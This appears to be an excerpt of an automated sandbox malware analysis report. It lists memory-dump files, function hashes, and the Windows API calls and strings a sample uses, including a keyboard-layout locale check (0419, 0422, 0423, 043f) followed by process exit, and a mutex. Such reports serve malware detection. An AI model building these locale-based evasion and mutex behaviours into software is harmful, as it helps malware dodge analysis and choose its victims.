Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3065c6309e6c794ca9f734cc138eff4c7449882a634e68d96b0ebc2ae8b588c8
Instruction ID: 1ef804afce4a3dc86afb333252f2b6b3ecee7a200b73f27d78b9d345fe424e38
Opcode Fuzzy Hash: 3065c6309e6c794ca9f734cc138eff4c7449882a634e68d96b0ebc2ae8b588c8
Instruction Fuzzy Hash: A8E08C31100248EECE29BB18CC2DD9D3BA9EF01741F108A14F918862A6CB29DDA1C680

Function 006D5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 006D6054
0000043f, xrefs: 006D612B
00000419, xrefs: 006D6098
00000422, xrefs: 006D60C9
00000423, xrefs: 006D60FA

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 249e4d365ada9e92e223eef67007bea0463dc706570f642eb739a009a32c8133
Instruction ID: 9d42f8d91ae09f7ae973343d2d9fd76fd5586c2895d4659679cc49f20a97f301
Opcode Fuzzy Hash: 249e4d365ada9e92e223eef67007bea0463dc706570f642eb739a009a32c8133
Instruction Fuzzy Hash: F9F1C070A002589FEB24DF54CC84BDEBBBAEF44304F5042A9F519AB3C1DB759A84CB95

Function 006D9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 2aae0fbca0dbfd42241785b74f4091341f95244ec083bff37519a1d61fd73b23
Instruction ID: 5cbe48af974c88809b67e8ed345e2518b398b3d5ab4c9f57c4f1ee023b4dcf8e
Opcode Fuzzy Hash: 2aae0fbca0dbfd42241785b74f4091341f95244ec083bff37519a1d61fd73b23
Instruction Fuzzy Hash: 9F314C71F142008BFB1C9B78DC8976EB773EBC1314F20825AE0149B3E6C77549818761

Function 006D9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: d2163b83d78cb504691b75377bd7974a26c8bde462597849f616aedb231e4d6f
Instruction ID: 61e8f430b59d7f6c1c788e4501f9423577205cac76a5e2838a126ddbcd692598
Opcode Fuzzy Hash: d2163b83d78cb504691b75377bd7974a26c8bde462597849f616aedb231e4d6f
Instruction Fuzzy Hash: AE314A71F142409BFB1C9BB8DC98BADB763EBC5310F20861AE014EB3D1C77589808762

Function 006DA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
